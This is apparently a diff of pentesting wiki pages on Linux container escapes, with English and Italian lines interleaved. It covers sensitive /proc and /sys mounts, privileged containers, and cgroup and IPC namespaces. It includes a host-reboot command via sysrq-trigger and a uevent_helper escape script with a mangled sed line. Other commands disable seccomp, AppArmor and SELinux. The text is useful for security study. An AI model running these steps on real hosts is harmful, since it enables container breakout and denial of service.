- Un flag globale che controlla se il kernel va in panico o invoca l'oom killer quando si verifica una condizione OOM.
#### **`/proc/sys/fs`**
- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system.
- Write access can enable various denial-of-service attacks against the host.
- Secondo [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contiene opzioni e informazioni sul file system.
- L'accesso in scrittura può abilitare vari attacchi di denial-of-service contro l'host.
#### **`/proc/sys/fs/binfmt_misc`**
- Allows registering interpreters for non-native binary formats based on their magic number.
- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable.
- Relevant exploit and explanation:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- Consente di registrare interpreti per formati binari non nativi basati sul loro numero magico.
- Può portare a escalation dei privilegi o accesso a shell root se `/proc/sys/fs/binfmt_misc/register` è scrivibile.
- Sfruttamento e spiegazione rilevanti:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Tutorial approfondito: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
### Altri in `/proc`
#### **`/proc/config.gz`**
- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled.
- Useful for attackers to identify vulnerabilities in the running kernel.
- Può rivelare la configurazione del kernel se `CONFIG_IKCONFIG_PROC` è abilitato.
- Utile per gli attaccanti per identificare vulnerabilità nel kernel in esecuzione.
#### **`/proc/sysrq-trigger`**
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
- **Rebooting Host Example**:
- Consente di invocare comandi Sysrq, potenzialmente causando riavvii immediati del sistema o altre azioni critiche.
- **Esempio di riavvio dell'host**:
```bash
echo b > /proc/sysrq-trigger # Reboots the host
```
```bash
echo b > /proc/sysrq-trigger # Riavvia l'host
```
#### **`/proc/kmsg`**
- Exposes kernel ring buffer messages.
- Can aid in kernel exploits, address leaks, and provide sensitive system information.
- Espone i messaggi del buffer di anello del kernel.
- Può aiutare negli exploit del kernel, perdite di indirizzi e fornire informazioni sensibili sul sistema.
#### **`/proc/kallsyms`**
- Lists kernel exported symbols and their addresses.
- Essential for kernel exploit development, especially for overcoming KASLR.
- Address information is restricted with `kptr_restrict` set to `1` or `2`.
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Elenca i simboli esportati dal kernel e i loro indirizzi.
- Essenziale per lo sviluppo di exploit del kernel, specialmente per superare KASLR.
- Le informazioni sugli indirizzi sono limitate con `kptr_restrict` impostato su `1` o `2`.
- Dettagli in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
- Interfaces with the kernel memory device `/dev/mem`.
- Historically vulnerable to privilege escalation attacks.
- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Interfaccia con il dispositivo di memoria del kernel `/dev/mem`.
- Storicamente vulnerabile ad attacchi di escalation dei privilegi.
- Maggiori informazioni su [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
- Represents the system's physical memory in ELF core format.
- Reading can leak host system and other containers' memory contents.
- Large file size can lead to reading issues or software crashes.
- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
- Rappresenta la memoria fisica del sistema in formato ELF core.
- La lettura può rivelare i contenuti della memoria del sistema host e di altri container.
- La grande dimensione del file può portare a problemi di lettura o crash del software.
- Uso dettagliato in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**
- Alternate interface for `/dev/kmem`, representing kernel virtual memory.
- Allows reading and writing, hence direct modification of kernel memory.
- Interfaccia alternativa per `/dev/kmem`, rappresenta la memoria virtuale del kernel.
- Consente lettura e scrittura, quindi modifica diretta della memoria del kernel.
#### **`/proc/mem`**
- Alternate interface for `/dev/mem`, representing physical memory.
- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.
- Interfaccia alternativa per `/dev/mem`, rappresenta la memoria fisica.
- Consente lettura e scrittura, la modifica di tutta la memoria richiede la risoluzione degli indirizzi virtuali in fisici.
#### **`/proc/sched_debug`**
- Returns process scheduling information, bypassing PID namespace protections.
- Exposes process names, IDs, and cgroup identifiers.
- Restituisce informazioni sulla pianificazione dei processi, eludendo le protezioni del namespace PID.
- Espone nomi di processi, ID e identificatori cgroup.
#### **`/proc/[pid]/mountinfo`**
- Provides information about mount points in the process's mount namespace.
- Exposes the location of the container `rootfs` or image.
- Fornisce informazioni sui punti di montaggio nel namespace di montaggio del processo.
- Espone la posizione del `rootfs` o dell'immagine del container.
### `/sys` Vulnerabilities
### Vulnerabilità di `/sys`
#### **`/sys/kernel/uevent_helper`**
- Used for handling kernel device `uevents`.
- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers.
- **Example for Exploitation**: %%%bash
- Utilizzato per gestire i `uevents` dei dispositivi del kernel.
- Scrivere in `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi di `uevent`.
- **Esempio di sfruttamento**: %%%bash
#### Creates a payload
#### Crea un payload
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Finds host path from OverlayFS mount for container
#### Trova il percorso host dal montaggio OverlayFS per il container
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### Sets uevent_helper to malicious helper
#### Imposta uevent_helper su helper malevolo
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### Triggers a uevent
#### Attiva un uevent
echo change > /sys/class/mem/null/uevent
echo change > /sys/class/mem/null/uevent
#### Reads the output
#### Legge l'output
cat /output %%%
cat /output %%%
#### **`/sys/class/thermal`**
- Controls temperature settings, potentially causing DoS attacks or physical damage.
- Controlla le impostazioni di temperatura, potenzialmente causando attacchi DoS o danni fisici.
#### **`/sys/kernel/vmcoreinfo`**
- Leaks kernel addresses, potentially compromising KASLR.
- Rivela indirizzi del kernel, potenzialmente compromettendo KASLR.
#### **`/sys/kernel/security`**
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.
- Contiene l'interfaccia `securityfs`, che consente la configurazione dei moduli di sicurezza Linux come AppArmor.
- L'accesso potrebbe consentire a un container di disabilitare il proprio sistema MAC.
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
#### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**
- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
- Espone interfacce per interagire con le variabili EFI in NVRAM.
- Mal configurazione o sfruttamento possono portare a laptop bloccati o macchine host non avviabili.
#### **`/sys/kernel/debug`**
- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.
- `debugfs` offre un'interfaccia di debug "senza regole" al kernel.
- Storia di problemi di sicurezza a causa della sua natura illimitata.
### References
### Riferimenti
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,28 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## What Affects
## Cosa Influisce
When you run a container as privileged these are the protections you are disabling:
Quando esegui un contenitore come privilegiato, queste sono le protezioni che stai disabilitando:
### Mount /dev
### Monta /dev
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host.
In un contenitore privilegiato, tutti i **dispositivi possono essere accessibili in `/dev/`**. Pertanto puoi **uscire** montando il disco dell'host.
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="Dentro il contenitore predefinito"}}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Dentro il Contenitore Privilegiato"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
{{#endtab}}
{{#endtabs}}
### Read-only kernel file systems
### File system del kernel in sola lettura
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel.
I file system del kernel forniscono un meccanismo per un processo per modificare il comportamento del kernel. Tuttavia, quando si tratta di processi container, vogliamo impedire loro di apportare modifiche al kernel. Pertanto, montiamo i file system del kernel come **sola lettura** all'interno del container, garantendo che i processi del container non possano modificare il kernel.
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="Dentro il container predefinito"}}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Dentro il Contenitore Privilegiato"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{{#endtab}}
{{#endtabs}}
### Masking over kernel file systems
### Mascheramento dei file system del kernel
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas.
Il file system **/proc** è selettivamente scrivibile, ma per motivi di sicurezza, alcune parti sono protette da accesso in scrittura e lettura sovrapponendole con **tmpfs**, garantendo che i processi del container non possano accedere ad aree sensibili.
> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
> [!NOTE] > **tmpfs** è un file system che memorizza tutti i file nella memoria virtuale. tmpfs non crea alcun file sul tuo disco rigido. Quindi, se smonti un file system tmpfs, tutti i file in esso contenuti andranno persi per sempre.
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Dentro il Contenitore Privilegiato"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
{{#endtab}}
{{#endtabs}}
### Linux capabilities
### Capacità di Linux
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read:
I motori dei container avviano i container con un **numero limitato di capacità** per controllare cosa avviene all'interno del container per impostazione predefinita. Quelli **privilegiati** hanno **tutte** le **capacità** accessibili. Per saperne di più sulle capacità, leggi:
{{#ref}}
../linux-capabilities.md
{{#endref}}
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="Dentro il container predefinito"}}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
[...]
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Dentro il contenitore privilegiato"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[...]
```
{{#endtab}}
{{#endtabs}}
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags.
Puoi manipolare le capacità disponibili per un container senza eseguire in modalità `--privileged` utilizzando i flag `--cap-add` e `--cap-drop`.
### Seccomp
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here:
**Seccomp** è utile per **limitare** le **syscalls** che un container può chiamare. Un profilo seccomp predefinito è abilitato per impostazione predefinita quando si eseguono container docker, ma in modalità privilegiata è disabilitato. Scopri di più su Seccomp qui:
{{#ref}}
seccomp.md
@ -142,100 +126,86 @@ seccomp.md
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 2
Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Dentro il Contenitore Privilegiato"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 0
Seccomp_filters: 0
```
{{#endtab}}
{{#endtabs}}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
Inoltre, nota che quando Docker (o altri CRI) sono utilizzati in un **Kubernetes** cluster, il **filtro seccomp è disabilitato per impostazione predefinita**
### AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled.
**AppArmor** è un miglioramento del kernel per confinare i **container** a un **insieme limitato** di **risorse** con **profili per programma**. Quando esegui con il flag `--privileged`, questa protezione è disabilitata.
{{#ref}}
apparmor.md
{{#endref}}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied.
Eseguire un container con il flag `--privileged` disabilita le **etichette SELinux**, facendogli ereditare l'etichetta del motore del container, tipicamente `unconfined`, concedendo accesso completo simile a quello del motore del container. In modalità senza root, utilizza `container_runtime_t`, mentre in modalità root, viene applicato `spc_t`.
{{#ref}}
../selinux.md
{{#endref}}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## Cosa Non Influisce
## What Doesn't Affect
### Namespace
### Namespaces
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
I namespace **NON sono influenzati** dal flag `--privileged`. Anche se non hanno i vincoli di sicurezza abilitati, **non vedono tutti i processi sul sistema o sulla rete host, per esempio**. Gli utenti possono disabilitare singoli namespace utilizzando i flag dei motori container **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**.
{{#tabs}}
{{#tab name="Inside default privileged container"}}
{{#tab name="Dentro il container privilegiato predefinito"}}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:00 sh
18 root 0:00 ps -ef
1 root 0:00 sh
18 root 0:00 ps -ef
```
{{#endtab}}
{{#tab name="Inside --pid=host Container"}}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
[...]
```
{{#endtab}}
{{#endtabs}}
### User namespace
### Spazio dei nomi utente
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges.
**Per impostazione predefinita, i motori dei container non utilizzano gli spazi dei nomi utente, tranne che per i container senza root**, che li richiedono per il montaggio del file system e l'uso di più UID. Gli spazi dei nomi utente, fondamentali per i container senza root, non possono essere disabilitati e migliorano significativamente la sicurezza limitando i privilegi.
## References
## Riferimenti
- [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)

View File

@ -2,90 +2,80 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O.
Un namespace cgroup è una funzionalità del kernel Linux che fornisce **isolamento delle gerarchie cgroup per i processi in esecuzione all'interno di un namespace**. I cgroup, abbreviazione di **control groups**, sono una funzionalità del kernel che consente di organizzare i processi in gruppi gerarchici per gestire e applicare **limiti sulle risorse di sistema** come CPU, memoria e I/O.
While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces.
Sebbene i namespace cgroup non siano un tipo di namespace separato come gli altri di cui abbiamo discusso in precedenza (PID, mount, network, ecc.), sono correlati al concetto di isolamento dei namespace. **I namespace cgroup virtualizzano la vista della gerarchia cgroup**, in modo che i processi in esecuzione all'interno di un namespace cgroup abbiano una vista diversa della gerarchia rispetto ai processi in esecuzione nell'host o in altri namespace.
### How it works:
### Come funziona:
1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup.
2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree.
3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves.
1. Quando viene creato un nuovo namespace cgroup, **inizia con una vista della gerarchia cgroup basata sul cgroup del processo creatore**. Ciò significa che i processi in esecuzione nel nuovo namespace cgroup vedranno solo un sottoinsieme dell'intera gerarchia cgroup, limitato al sottoalbero cgroup radicato nel cgroup del processo creatore.
2. I processi all'interno di un namespace cgroup **vedranno il proprio cgroup come la radice della gerarchia**. Ciò significa che, dalla prospettiva dei processi all'interno del namespace, il proprio cgroup appare come la radice e non possono vedere o accedere ai cgroup al di fuori del proprio sottoalbero.
3. I namespace cgroup non forniscono direttamente isolamento delle risorse; **forniscono solo isolamento della vista della gerarchia cgroup**. **Il controllo e l'isolamento delle risorse sono ancora applicati dai sottosistemi cgroup** (ad es., cpu, memoria, ecc.) stessi.
For more information about CGroups check:
Per ulteriori informazioni sui CGroups controlla:
{{#ref}}
../cgroups.md
{{#endref}}
## Lab:
## Laboratorio:
### Create different Namespaces
### Crea diversi Namespace
#### CLI
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Problem Explanation**:
1. **Spiegazione del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
2. **Consequence**:
2. **Conseguenza**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Controlla in quale namespace si trova il tuo processo
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```
### Find all CGroup namespaces
### Trova tutti i namespace CGroup
```bash
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an CGroup namespace
### Entra all'interno di un namespace CGroup
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/cgroup`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`).
## References
## Riferimenti
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,83 +2,72 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups.
Un namespace IPC (Inter-Process Communication) è una funzionalità del kernel Linux che fornisce **isolamento** degli oggetti IPC di System V, come code di messaggi, segmenti di memoria condivisa e semafori. Questo isolamento garantisce che i processi in **diversi namespace IPC non possano accedere o modificare direttamente gli oggetti IPC degli altri**, fornendo un ulteriore livello di sicurezza e privacy tra i gruppi di processi.
### How it works:
### Come funziona:
1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default.
2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace.
1. Quando viene creato un nuovo namespace IPC, inizia con un **set completamente isolato di oggetti IPC di System V**. Ciò significa che i processi in esecuzione nel nuovo namespace IPC non possono accedere o interferire con gli oggetti IPC in altri namespace o nel sistema host per impostazione predefinita.
2. Gli oggetti IPC creati all'interno di un namespace sono visibili e **accessibili solo ai processi all'interno di quel namespace**. Ogni oggetto IPC è identificato da una chiave unica all'interno del suo namespace. Anche se la chiave può essere identica in diversi namespace, gli oggetti stessi sono isolati e non possono essere accessibili tra i namespace.
3. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()` o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWIPC`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare gli oggetti IPC associati a quel namespace.
## Lab:
## Laboratorio:
### Create different Namespaces
### Crea diversi Namespace
#### CLI
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Problem Explanation**:
1. **Spiegazione del problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
